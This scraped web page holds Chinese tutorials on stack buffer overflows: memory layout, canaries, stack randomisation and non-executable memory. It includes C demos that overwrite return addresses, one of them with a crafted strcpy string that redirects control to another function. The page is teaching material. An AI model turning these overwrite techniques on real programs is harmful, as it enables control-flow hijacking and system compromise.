精华内容
下载资源
问答
  • 缓冲区溢出代码分析
    万次阅读 多人点赞
    2020-11-18 23:43:21

    蠕虫病毒是一种常见的利用Unix系统中的缺点来进行攻击的病毒。缓冲区溢出一个常见的后果是:黑客利用函数调用过程中程序的返回地址,将存放这块地址的指针精准指向计算机中存放攻击代码的位置,造成程序异常中止。为了防止发生严重的后果,计算机会采用栈随机化,利用金丝雀值检查破坏栈,限制代码可执行区域等方法来尽量避免被攻击。虽然,现代计算机已经可以“智能”查错了,但是我们还是要养成良好的编程习惯,尽量避免写出有漏洞的代码,以节省宝贵的时间!

    1. 蠕虫病毒简介

      蠕虫是一种可以自我复制的代码,并且通过网络传播,通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后,就会把这台机器作为宿主,进而扫描并感染其他计算机。当这些新的被蠕虫入侵的计算机被控制之后,蠕虫会以这些计算机为宿主继续扫描并感染其他计算机,这种行为会一直延续下去。蠕虫使用这种递归的方法进行传播,按照指数增长的规律分布自己,进而及时控制越来越多的计算机。

    2. 缓冲区溢出

      缓冲区溢出是指计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出

    3. 缓冲区溢出举例

    void echo()
    {
      char buf[4];   /*buf故意设置很小*/
      gets(buf);
      puts(buf);
    }
    void call_echo()
    {
      echo();
    }
    

      反汇编如下:

    /*echo*/
    000000000040069c <echo>: 
    40069c:48 83 ec 18         sub $0x18,%rsp  /*0X18 == 24,分配了24字节内存。计算机会多分配一些给缓冲区*/
    4006a0:48 89 e7            mov %rsp,%rdi   
    4006a3:e8 a5 ff ff ff      callq 40064d <gets>
    4006a8::48 89 e7           mov %rsp,%rdi
    4006ab:e8 50  fe ff ff     callq callq 400500 <puts@plt>
    4006b0:48 83 c4 18         add $0x18,%rsp 
    4006b4:c3                  retq 
    
    /*call_echo*/
    4006b5:48 83  ec 08             sub $0x8,%rsp 
    4006b9:b8 00 00 00 00           mov $0x0,%eax
    4006be:e8 d9 ff ff ff           callq 40069c <echo>
    4006c3:48 83 c4 08              add $0x8,%rsp 
    4006c7:c3                       retq
    

      在这个例子中,我们故意把buf设置的很小。运行该程序,我们在命令行中输入012345678901234567890123,程序立马就会报错:Segmentation fault。

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
    本文链接:https://blog.csdn.net/qq_16933601/article/details/109638145

      要想明白为什么会报错,我们需要通过分析反汇编来了解其在内存是如何分布的。具体如下图所示:

      如下图所示,此时计算机为buf分配了24字节空间,其中20字节还未使用。

    image-20201111215122537

      此时,准备调用echo函数,将其返回地址压栈。

    image-20201111214702010

      当我们输入“0123456789012345678
    9012"时,缓冲区已经溢出,但是并没有破坏程序的运行状态

    image-20201111214811039

      当我们输入:“012345678901234567
    890123"。缓冲区溢出,返回地址被破坏,程序返回 0x0400600。

    image-20201111214914863

      这样程序就跳转到了计算机中其他内存的位置,很大可能这块内存已经被使用。跳转修改了原来的值,所以程序就会中止运行。

      黑客可以利用这个漏洞,将程序精准跳转到其存放木马的位置(如nop sled技术),然后就会执行木马程序,对我们的计算机造成破坏。

    4. 缓冲区溢出的危害

      缓冲区溢出可以执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。第一个缓冲区溢出攻击–Morris蠕虫,发生在二十年前,它曾造成了全世界6000多台网络服务器瘫痪。

      在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。而缓冲区溢出中,最为危险的是堆栈溢出。因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址。带来的危害有两种,一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

    5. 内存在计算机中的排布方式

      内存在计算机中的排布方式如下,从上到下依次为共享库,栈,堆,数据段,代码段。各个段的作用简介如下:
    image-20201111151446190

      共享库:共享库以.so结尾.(so==share object)在程序的链接时候并不像静态库那样在拷贝使用函数的代码,而只是作些标记。然后在程序开始启动运行的时候,动态地加载所需模块。所以,应用程序在运行的时候仍然需要共享库的支持。共享库链接出来的文件比静态库要小得多。

      :栈又称堆栈,是用户存放程序临时创建的变量,也就是我们函数{}中定义的变量,但不包括static声明的变量,static意味着在数据段中存放变量

      除此之外,在函数被调用时,其参数也会被压入发起调用的进程栈中,并且待到调用结束后,函数的返回值也会被存放回栈中,由于栈的先进后出特点,所以栈特别方便用来保存、恢复调用现场。从这个意义上讲,我们可以把堆栈看成一个寄存,交换临时数据的内存区。在X86-64 Linux系统中,栈的大小一般为8M(用ulitmit - a命令可以查看)。

      :堆是用来存放进程中被动态分配的内存段,它的大小并不固定,可动态扩张或缩减。当进程调用malloc等函数分配内存时,新分配的内存就被动态分配到堆上,当利用free等函数释放内存时,被释放的内存从堆中被剔除。

      堆存放new出来的对象,栈里面所有对象都是在堆里面有指向的。假如栈里指向堆的指针被删除,堆里的对象也要释放(C++需要手动释放)。当然现在面向对象程序都有’垃圾回收机制’,会定期的把堆里没用的对象清除出去。

      数据段:数据段通常用来存放程序中已初始化的全局变量和已初始化为非0的静态变量的一块内存区域,属于静态内存分配。直观理解就是C语言程序中的全局变量(注意:全局变量才算是程序的数据,局部变量不算程序的数据,只能算是函数的数据

      代码段:代码段通常用来存放程序执行代码的一块区域。这部分区域的大小在程序运行前就已经确定了,通常这块内存区域属于只读,有些架构也允许可写,在代码段中也有可能包含以下只读的常数变量,例如字符串常量等。

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
    本文链接:https://blog.csdn.net/qq_16933601/article/details/109638145

      下面举个例子来看下代码中各个部分在计算机中是如何排布的。

    #include <stdio.h>
    #include <stdlib.h>
    
    char big_array[1L<<24];     /*16 MB*/
    char huge_array[1L<<31];    /*2 GB*/
    
    int global = 0;
    
    int useless() {return 0;}
    
    int main()
    {
      void *phuge1,*psmall2,*phuge3,*psmall4;
      int local = 0;
      phuge1 = malloc(1L<<28);    /*256 MB*/
      psmall2 = malloc(1L<<8);    /*256 B*/
      phuge3 = malloc(1L<<32);    /*4 GB*/
      psmall4 = malloc(1L<<8);    /*256 B*/
    }
    
    

      上述代码中,程序中的各个变量在内存的排布方式如下图所示。根据颜色可以一一对应起来。由于了local变量存放在栈区,四个指针变量使用了malloc分配了空间,
    所以存放在堆上,两个数组big_
    array,huge_array存放在数据段,main,useless函数的其他部分存放在代码段中。

    image-20201111153803357

    6. 计算机中越界访问的后果

      下面再看一个例子,看下越界访问内存会有什么结果。

    typedef struct 
    {
      int a[2];
      double d;
    }struct_t;
    
    double fun(int i)
    {
      volatile struct_t s;
      s.d = 3.14;
      s.a[i] = 1073741824;  /*可能越界*/
      return s.d;
    }
    
    int main()
    {
      printf("fun(0):%lf\n",fun(0));
      printf("fun(1):%lf\n",fun(1));
      printf("fun(2):%lf\n",fun(2));
      printf("fun(3):%lf\n",fun(3));
      printf("fun(6):%lf\n",fun(6));
      return 0; 
    }
    

      打印结果如下所示:

    fun(0):3.14
    fun(1):3.14
    fun(2):3.1399998664856
    fun(3):2.00000061035156
    fun(6):Segmentation fault
    

      在上面的程序中,我们定义了一个结构体,其中 a 数组中包含两个整数值,还有 d 一个双精度浮点数。在函数fun中,fun函数根据传入的参数i来初始化a数组。显然,i的值只能为0和1。在fun函数中,同时还设置了d的值为3.14。当我们给fun函数传入0和1时可以打印出正确的结果3.14。但是当我们传入2,3,6时,奇怪的现象发生了。为什么fun(2)和fun(3)的值会接近3.14,而fun(6)会报错呢?

      要搞清楚这个问题,我们要明白结构体在内存中是如何存储的,具体如下图所示。

    结构体在内存中的存储方式

      GCC默认不检查数组越界(除非加编译选项)。这也是C语言的bug之一,越界会修改某些内存的值,得出我们意想不到的结果。即使有些数据相隔万里,也可能受到影响。当一个系统这几天运行正常时,过几天可能就会崩溃。(如果这个系统是运行在我们的心脏起搏器,又或者是航天飞行器上,那么这无疑将会造成巨大的损失!)

      如上图所示,对于最下面的两个元素,每个块代表 4 字节。a数组占用8个字节,d变量占用8字节,d排布在a数组的上方。所以我们会看到,如果我引用 a[0] 或者 a[1],会按照正常修改该数组的值。但是当我调用 fun(2) 或者 fun(3)时,实际上修改的是这个浮点数 d 所对应的内存位置。这就是为什么我们打印出来的fun(2)和fun(3)的值如此接近3.14。

      当输入 6 时,就修改了对应的这块内存的值。原来这块内存可能存储了其他用于维持程序运行的内容,而且是已经分配的内存。所以,我们程序就会报出Segmentation fault的错误。

    7. 避免缓冲区溢出的三种方法

      为了在系统中插入攻击代码,攻击者既要插入代码,也要插入指向这段代码的指针。这个指针也是攻击字符串的一部分。产生这个指针需要知道这个字符串放置的栈地址。在过去,程序的栈地址非常容易预测。对于所有运行同样程序和操作系统版本的系统来说,在不同的机器之间,栈的位置是相当固定的。因此,如果攻击者可以确定一个常见的Web服务器所使用的栈空间,就可以设计一个在许多机器上都能实施的攻击。

    7.1 栈随机化

      栈随机化的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。实现的方式是:程序开始时,在栈上分配一段0 ~ n字节之间的随机大小的空间,例如,使用分配函数alloca在栈上分配指定字节数量的空间。程序不使用这段空间,但是它会导致程序每次执行时后续的栈位置发生了变化。分配的范围n必须足够大,才能获得足够多的栈地址变化,但是又要足够小,不至于浪费程序太多的空间。

    int main()
    {
    	long local;
    	printf("local at %p\n",&local);
    	return 0;
    }
    

      这段代码只是简单地打印出main函数中局部变量的地址。在32位 Linux上运行这段代码10000次,这个地址的变化范围为0xff7fc59c到0xffffd09c,范围大小大约是 2 23 {2^{23}} 223。在64位 Linux机器上运行,这个地址的变化范围为0x7fff0001b698到0x7ffffffaa4a8,范围大小大约是 2 32 {2^{32}} 232

      其实,一个好的黑客专家,可以使用暴力破坏栈的随机化。对于32位的机器,我们枚举 2 15 = 32768 {2^{15}} = 32768 215=32768个地址就能猜出来栈的地址。对于64位的机器,我们需要枚举 2 24 = 16777216 {2^{24}} = 16777216 224=16777216次。如此看来,栈的随机化降低了病毒或者蠕虫的传播速度,但是也不能提供完全的安全保障。

    7.2 检测栈是否被破坏

      计算机的第二道防线是能够检测到何时栈已经被破坏。我们在echo函数示例中看到,当访问缓冲区越界时,会破坏程序的运行状态。在C语言中,没有可靠的方法来防止对数组的越界写。但是,我们能够在发生了越界写的时候,在造成任何有害结果之前,尝试检测到它。

      GCC在产生的代码中加人了一种栈保护者机制,来检测缓冲区越界。其思想是在栈帧中任何局部缓冲区与栈状态之间存储一个特殊的金丝雀( canary)值,如下图所示:

    image-20201112085448688

      这个金丝雀值,也称为哨兵值,是在程序每次运行时随机产生的,因此,攻击者很难猜出这个哨兵值。在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个函数的某个操作改变了。如果是的,那么程序异常中止。

    image-20201112085829359

    英国矿井饲养金丝雀的历史大约起始1911年。当时,矿井工作条件差,矿工在下井时时常冒着中毒的生命危险。后来,约翰·斯科特·霍尔丹(John Scott Haldane)在经过对一氧化碳一番研究之后,开始推荐在煤矿中使用金丝雀检测一氧化碳和其他有毒气体。金丝雀的特点是极易受有毒气体的侵害,因为它们平常飞行高度很高,需要吸入大量空气吸入足够氧气。因此,相比于老鼠或其他容易携带的动物,金丝雀会吸入更多的空气以及空气中可能含有的有毒物质。这样,一旦金丝雀出了事,矿工就会迅速意识到矿井中的有毒气体浓度过高,他们已经陷入危险之中,从而及时撤离。

      GCC会试着确定一个函数是否容易遭受栈溢出攻击,并且自动插入这种溢出检测。实际上,对于前面的栈溢出展示,我们可以使用命令行选项“-fno- stack- protector”来阻止GCC产生这种代码。当用这个选项来编译echo函数时(允许使用栈保护),得到下面的汇编代码

    /*void echo */
    subq $24,%rsp Allocate 24 bytes on stack
    movq  %fs:40,%rax  Retrieve canary 
    movq %rax,8(%rsp) Store on stack
    xorl %eax, %eax Zero out register    //从内存中读出一个值
    movq %rsp, %rdi  Compute buf as %rsp 
    call gets Call gets 
    movq ‰rsp,%rdi Compute buf as %rsp
    call puts Call puts 
    movq 8(%rsp),%rax Retrieve canary 
    xorq %fs:40,%rax Compare to stored value   函数将存储在栈位置处的值与金丝雀值做比较
    je .L9  If =, goto ok 
    call __stack_chk_fail Stack corrupted  
    .L9
    addq $24,%rsp Deallocate stack space 
    ret
    

      这个版本的函数从内存中读出一个值(第4行),再把它存放在栈中相对于%rsp偏移量为8的地方。指令参数各fs:40指明金丝雀值是用段寻址从内存中读入的。段寻址机制可以追溯到80286的寻址,而在现代系统上运行的程序中已经很少见到了。将金丝雀值存放在一个特殊的段中,标记为只读这样攻击者就不能覆盖存储金丝雀值。在恢复寄存器状态和返回前,函数将存储在栈位置处的值与金丝雀值做比较(通过第10行的xorq指令)。如果两个数相同,xorq指令就会得到0,函数会按照正常的方式完成。非零的值表明栈上的金丝雀值被修改过,那么代码就会调用一个错误处理例程。

      栈保护很好地防止了缓冲区溢出攻击破坏存储在程序栈上的状态。一般只会带来很小的性能损失。

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
    本文链接:https://blog.csdn.net/qq_16933601/article/details/109638145

    7.3 限制可执行代码区域

      最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。在典型的程序中,只有保存编译器产生的代码的那部分内存才需要是可执行的。其他部分可以被限制为只允许读和写。

      许多系统都有三种访问形式:读(从内存读数据)、写(存储数据到内存)和执行(将内存的内容看作机器级代码)。以前,x86体系结构将读和执行访问控制合并成一个1位的标志,这样任何被标记为可读的页也都是可执行的。栈必须是既可读又可写的,因而栈上的字节也都是可执行的。已经实现的很多机制,能够限制一些页是可读但是不可执行的,然而这些机制通常会带来严重的性能损失。

    8. 总结

      计算机提供了多种方式来弥补我们犯错可能产生的严重后果,但是最关键的还是我们尽量减少犯错。

      例如,对于gets,strcpy等函数我们应替换为 fgets,strncpy等。在数组中,我们可以将数组的索引声明为size_t类型,从根本上防止它传递负数。此外,还可以在访问数组前来加上num小于ARRAY_MAX 语句来检查数组的上界。总之,要养成良好的编程习惯,这样可以节省很多宝贵的时间。同时最后也推荐两本相关书籍如下所示。

    代码大全(第二版)
    高质量程序设计指南

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
    本文链接:https://blog.csdn.net/qq_16933601/article/details/109638145

    更多相关内容
  • 根据缓冲区溢出原因提出一种基于源码分析缓冲区溢出漏洞检测方法,该方法对源码预处理后进行静态分析并依次构造相应的抽象语法树、控制流图、函数调用图和变量表,最后建立有限状态自动机检测模型.以容易出现溢出的C...
  • 缓冲区溢出原理及植入代码分析研究
  • 1.本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。 输入命令安装一些用于编译 32 位 C 程序的软件包 Sudo apt-get update
  • 本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又一次详尽的讲解。本书没有枯燥的、大段汇编代码的解释;没有复杂的、Windows系统...
  • 缓冲区溢出程序代码分析 缓冲溢出是指一种攻击系统的手段,通过往程序的缓冲区中写入超出其长度的内容造成溢出,从而破坏程序的堆栈,使程序转而执行其它指令,而达到攻击的目的。分布式拒绝服务(ddos)的入侵者...
  • 分析缓冲区溢出及其溢出植入代码的组成结构,指出相应的防御措施;通过分析溢出和植入代码的组成结构,给出缓冲区溢出的一般规律和溢出攻击植入代码的结构特征;最后讨论如何根据溢出规律和植入代码的结构特征,采取...
  • 缓冲区溢出漏洞研究与进展
  • 详细介绍缓冲区溢出攻击的原理和实验方法,内容包括1)缓冲区溢出的概念;2)程序的内存组织与缓冲区溢出类型;3)缓冲区溢出攻击的三个案例
  • 缓冲区溢出详解

    千次阅读 2021-02-28 06:58:40
    1 缓冲区溢出原理缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例。缓冲区可以是堆栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。在C/C++语言中,通常使用字符数组和malloc/new之类内存...

    1 缓冲区溢出原理

    缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例。缓冲区可以是堆栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。在C/C++语言中,通常使用字符数组和malloc/new之类内存分配函数实现缓冲区。溢出指数据被添加到分配给该缓冲区的内存块之外。缓冲区溢出是最常见的程序缺陷。

    栈帧结构的引入为高级语言中实现函数或过程调用提供直接的硬件支持,但由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此也给系统安全带来隐患。若将函数返回地址修改为指向一段精心安排的恶意代码,则可达到危害系统安全的目的。此外,堆栈的正确恢复依赖于压栈的EBP值的正确性,但EBP域邻近局部变量,若编程中有意无意地通过局部变量的地址偏移窜改EBP值,则程序的行为将变得非常危险。

    由于C/C++语言没有数组越界检查机制,当向局部数组缓冲区里写入的数据超过为其分配的大小时,就会发生缓冲区溢出。攻击者可利用缓冲区溢出来窜改进程运行时栈,从而改变程序正常流向,轻则导致程序崩溃,重则系统特权被窃取。

    例如,对于下图的栈结构:

    ea4fc38ea4363df60b1cf0598cbd1fbf.png

    若将长度为16字节的字符串赋给acArrBuf数组,则系统会从acArrBuf[0]开始向高地址填充栈空间,导致覆盖EBP值和函数返回地址。若攻击者用一个有意义的地址(否则会出现段错误)覆盖返回地址的内容,函数返回时就会去执行该地址处事先安排好的攻击代码。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。若该程序有root或suid执行权限,则攻击者就获得一个有root权限的shell,进而可对系统进行任意操作。

    除通过使堆栈缓冲区溢出而更改返回地址外,还可改写局部变量(尤其函数指针)以利用缓冲区溢出缺陷。

    注意,本文描述的堆栈缓冲区溢出不同于广义的“堆栈溢出(Stack OverFlow)”,后者除局部数组越界和内存覆盖外,还可能由于调用层次太多(尤其应注意递归函数)或过大的局部变量所导致。

    2 缓冲区溢出实例

    本节给出若干缓冲区溢出相关的示例性程序。前三个示例为手工修改返回地址或实参,后两个示例为局部数组越界访问和缓冲区溢出。更加深入的缓冲区溢出攻击参见相关资料。

    示例函数必须包含stdio.h头文件,并按需包含string.h头文件(如strcpy函数)。

    【示例1】改变函数的返回地址,使其返回后跳转到某个指定的指令位置,而不是函数调用后紧跟的位置。实现原理是在函数体中修改返回地址,即找到返回地址的位置并修改它。代码如下:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 //foo.c

    2 void foo(void){3 int a, *p;4 p = (int*)((char *)&a + 12); //让p指向main函数调用foo时入栈的返回地址,等效于p = (int*)(&a + 3);

    5 *p += 12; //修改该地址的值,使其指向一条指令的起始地址

    6 }7 int main(void){8 foo();9 printf("First printf call\n");10 printf("Second printf call\n");11 return 0;12 }

    View Code

    编译运行,结果输出Second printf call,未输出First printf call。

    下面详细介绍代码中两个12的由来。

    编译(gcc main.c –g)和反汇编(objdump a.out –d)后,得到汇编代码片段如下:

    da49360a452bb80f011f4c67e21228d4.png

    从上述汇编代码可知,foo后面的指令地址(即调用foo时压入的返回地址)是0x80483b8,而进入调用printf("Second printf call“)的指令地址是0x80483c4。两者相差12,故将返回地址的值加12即可(*p += 12)。

    指令<804838a>将-8(%ebp)的地址赋值给%eax寄存器(p = &a)。可知foo()函数中的变量a存储在-8(%ebp)地址上,该地址向上8+4=12个单位就是返回地址((char *)&a + 12)。修改该地址内容(*p += 12)即可实现函数调用结束后跳转到第二个printf函数调用的位置。

    用gdb查看汇编指令刚进入foo时栈顶的值(%esp),如下所示:

    d8308531e26aeda461c9e340e752c298.png

    可见%esp值的确是调用foo后main中下条待执行指令的地址,而代码所修改的也正是该值。%eip则指向当前程序(foo)的指令地址。

    【示例2】暂存RunAway函数的返回地址后修改其值,使函数返回后跳转到Detour函数的地址;Detour函数内尝试通过之前保存的返回地址重回main函数内。代码如下:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 //RunAway.c

    2 int gPrevRet = 0; //保存函数的返回地址

    3 void Detour(void){4 int *p = (int*)&p + 2; //p指向函数的返回地址

    5 *p =gPrevRet;6 printf("Run Away!\n"); //需要回车,或打印后fflush(stdout);刷新缓冲区,否则可能在段错误时无法输出

    7 }8 int RunAway(void){9 int *p = (int*)&p + 2;10 gPrevRet = *p;11 *p = (int)Detour;12 return 0;13 }14 int main(void){15 RunAway();16 printf("Come Home!\n");17 return 0;18 }

    View Code

    编译运行后输出:

    Run Away!

    Come Home!

    Run Away!

    Come Home!

    Segmentation fault

    运行后出现段错误?There must be something wrong!错误原因留待读者思考,下面给出上述代码的另一版本,借助汇编获取返回地址(而不是根据栈帧结构估算)。

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 register void *gEbp __asm__ ("%ebp");2 void Detour(void){3 *((int *)gEbp + 1) =gPrevRet;4 printf("Run Away!\n");5 }6 int RunAway(void){7 gPrevRet = *((int *)gEbp + 1);8 *((int *)gEbp + 1) =Detour;9 return 0;10 }

    View Code

    【示例3】在被调函数内修改主调函数指针变量,造成后续访问该指针时程序崩溃。代码如下:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 //Crasher.c

    2 typedef struct{3 intmember1;4 intmember2;5 }T_STRT;6 T_STRT gtTestStrt = {0};7 register void *gEbp __asm__ ("%ebp");8

    9 void Crasher(T_STRT *ptStrt){10 printf("[%s]: ebp = %p(0x%08x)\n", __FUNCTION__, gEbp, *((int*)gEbp));11 printf("[%s]: ptStrt = %p(%p)\n", __FUNCTION__, &ptStrt, ptStrt);12 printf("[%s]: (1) = %p(0x%08x)\n", __FUNCTION__, ((int*)&ptStrt-2), *((int*)&ptStrt-2));13 printf("[%s]: (2) = %p(0x%08x)\n", __FUNCTION__, (int*)(*((int*)&ptStrt-2)-4), *(int*)(*((int*)&ptStrt-2)-4));14 printf("[%s]: (3) = %p(0x%08x)\n", __FUNCTION__, (int*)(*((int*)&ptStrt-2)-8), *(int*)(*((int*)&ptStrt-2)-8));15 *(int*)( *( (int*)&ptStrt - 2 ) - 8 ) = 0; //A:此句将导致代码B处发生段错误

    16 }17

    18 int main(void){19 printf("[%s]: ebp = %p(0x%08x)\n", __FUNCTION__, gEbp, *((int*)gEbp));20 T_STRT *ptStrt = &gtTestStrt;21 printf("[%s]: ptStrt = %p(%p)\n", __FUNCTION__, &ptStrt, ptStrt);22

    23 Crasher(ptStrt);24 printf("[%s]: ptStrt = %p(%p)\n", __FUNCTION__, &ptStrt, ptStrt);25 ptStrt->member1 = 5; //B:需要在此处崩溃

    26 printf("Try to come here!\n");27 return 0;28 }

    View Code

    运行结果如下所示:

    9703d9d5832921899ec0ff7d9a0c2a22.png

    根据打印出的地址及其存储内容,可得到以下堆栈布局:

    4d93663a0a1168865cdecd524314ee21.png

    &ptStrt为形参地址0xbff8f090,该地址处在main函数栈帧中。(int*)&ptStrt - 2地址存储主调函数的EBP值,根据该值可直接定位到main函数栈帧底部。(*((int*)&ptStrt - 2) - 8)为主调函数中实参ptStrt的地址,而*(int*) (*((int*)&ptStrt - 2) - 4) = 0将该地址内容置零,即实参指针ptStrt设置为NULL(不再指向全局结构gtTestStrt)。这样,访问ptStrt->member1时就会发生段错误。

    注意,虽然本例代码结构简单,但不能轻率地推断main函数中局部变量ptStrt位于帧基指针EBP-4处(实际上本例为EBP-8处)。以下改进版本用于自动计算该偏移量:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 static int gOffset = 0;2 void Crasher(T_STRT *ptStrt){3 *(int*)( *(int*)gEbp - gOffset ) = 0;4 }5

    6 int main(void){7 T_STRT *ptStrt = &gtTestStrt;8 gOffset = (char*)gEbp - (char*)(&ptStrt);9 Crasher(ptStrt);10 ptStrt->member1 = 5; //在此处崩溃

    11 printf("Try to come here!\n");12 return 0;13 }

    View Code

    当然,该版本已失去原有意义(不借助寄存器层面手段),纯为示例。

    【示例4】越界访问造成死循环。代码如下:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 //InfinteLoop.c

    2 void InfinteLoop(void){3 unsigned char ucIdx, aucArr[10];4 for(ucIdx = 0; ucIdx <= 10; ucIdx++)5 aucArr[ucIdx] = 1;6 }

    View Code

    在循环内部,当访问不存在的数组元素aucArr[10]时,实际上在访问数组aucArr所在地址之后的那个位置,而该位置存放着变量ucIdx。因此aucArr[10] = 1将ucIdx重置为1,然后继续循环的条件仍然成立,最终将导致死循环。

    【示例5】缓冲区溢出。代码如下:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 //CarelessPapa.c

    2 register int *gEbp __asm__ ("%ebp");3 void NaughtyBoy(void){4 printf("[2]EBP=%p(%#x), EIP=%p(%#x)\n", gEbp, *gEbp, gEbp+1, *(gEbp+1));5 printf("Catch Me!\n");6 }7 void CarelessPapa(const char *pszStr){8 printf("[1]EBP=%p(%#x)\n", gEbp, *gEbp);9 printf("[1]EIP=%p(%#x)\n", gEbp+1, *(gEbp+1));10 char szBuf[8];11 strcpy(szBuf, pszStr);12 }13 int main(void){14 printf("[0]EBP=%p(%#x)\n", gEbp, *gEbp);15 printf("Addr: CarelessPapa=%p, NaughtyBoy=%p\n", CarelessPapa, NaughtyBoy);16 char szArr[]="0123456789AB\xe4\x83\x4\x8\x23\x85\x4\x8";17 CarelessPapa(szArr);18 printf("Come Home!\n");19 printf("[3]EBP=%p\n", gEbp);20 return 0;21 }

    View Code

    编译运行结果如下:

    73067c59fbdb983401b8a7bb9622f9f5.png

    可见,当CarelessPapa函数调用结束后,并未直接执行Come Home的输出,而是转而执行NaughtyBoy函数(输出Catch Me),然后回头输出Come Home。该过程重复一次后发生段错误(具体原因留待读者思考)。

    结合下图所示的栈帧布局,详细分析本示例缓冲区溢出过程。注意,本示例中地址及其内容由内嵌汇编和打印输出获得,正常情况下应通过gdb调试器获得。

    2f339c35f4cf84626ed2c0b3f93f99f9.png

    首先,main函数将字符数组szArr的地址作为参数(即pszStr)传递给函数CarelessPapa。该数组内容为"0123456789AB\xe4\x83\x4\x8\x23\x85\x4\x8",其中转义字符串"\xe4\x83\x4\x8"对应NaughtyBoy函数入口地址0x080483e4(小字节序),而"\x23\x85\x4\x8"对应调用CarelessPapa函数时的返回地址0x8048523(小字节序)。CarelessPapa函数内部调用strcpy库函数,将pszStr所指字符串内容拷贝至szBuf数组。因为strcpy函数不进行越界检查,会逐字节拷贝直到遇见'\0'结束符。故pszStr字符串将从szBuf数组起始地址开始向高地址覆盖,原返回地址0x8048523被覆盖为NaughtyBoy函数地址0x080483e4。

    这样,当CarelessPapa函数返回时,修改后的返回地址从栈中弹出到EIP寄存器中,此时栈顶指针ESP指向返回地址上方的空间(esp+4),程序跳转到EIP所指地址(NaughtyBoy函数入口)开始执行,首先就是EBP入栈——并未像正常调用那样先压入返回地址,故NaughtyBoy函数栈帧中EBP位置相对CarelessPapa函数上移4个字节!此时,"\x23\x85\x4\x8"可将EBP上方的EIP修改为CarelessPapa函数的返回地址(0x8048523),从而保证正确返回main函数内。

    注意,返回main函数并输出Come Home后,main函数栈帧的EBP地址被改为0x42413938("89AB"),该地址已非堆栈空间,最终产生段错误。EBP地址会随每次程序执行而改变,故试图在szArr字符串中恢复EBP是非常困难的。

    从main函数return时将返回到调用它的启动例程(_start函数)中,返回值被启动例程获得并用其作为参数调用exit函数。exit函数首先做一些清理工作,然后调用_exit系统调用终止进程。main函数的返回值最终传给_exit系统调用,成为进程的退出状态。以下代码在main函数中直接调用exit函数终止进程而不返回到启动例程:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 //CarelessPapa.c

    2 register int *gEbp __asm__ ("%ebp");3 void NaughtyBoy(void){4 printf("[2]EBP=%p(%#x), EIP=%p(%#x)\n", gEbp, *gEbp, gEbp+1, *(gEbp+1));5 printf("Catch Me!\n");6 }7 void CarelessPapa(const char *pszStr){8 printf("[1]EBP=%p(%#x)\n", gEbp, *gEbp);9 printf("[1]EIP=%p(%#x)\n", gEbp+1, *(gEbp+1));10 char szBuf[8];11 strcpy(szBuf, pszStr);12 }13 int main(void){14 printf("[0]EBP=%p(%#x)\n", gEbp, *gEbp);15 printf("Addr: CarelessPapa=%p, NaughtyBoy=%p\n", CarelessPapa, NaughtyBoy);16 char szArr[]="0123456789AB\x14\x84\x4\x8\x33\x85\x4\x8"; //转义字符串稍有变化

    17 CarelessPapa(szArr);18 printf("Come Home!\n");19 printf("[3]EBP=%p\n", gEbp);20 exit(0); //#include

    21 }

    View Code

    编译运行结果如下:

    0ed0033bda879d06a77f10e9f197ccb0.png

    这次没有重复执行,也未出现段错误。

    3 缓冲区溢出防范

    防范缓冲区溢出问题的准则是:确保做边界检查(通常不必担心影响程序效率)。不要为接收数据预留相对过小的缓冲区,大的数组应通过malloc/new分配堆空间来解决;在将数据读入或复制到目标缓冲区前,检查数据长度是否超过缓冲区空间。同样,检查以确保不会将过大的数据传递给别的程序,尤其是第三方COTS(Commercial-off-the-shelf)商用软件库——不要设想关于其他人软件行为的任何事情。

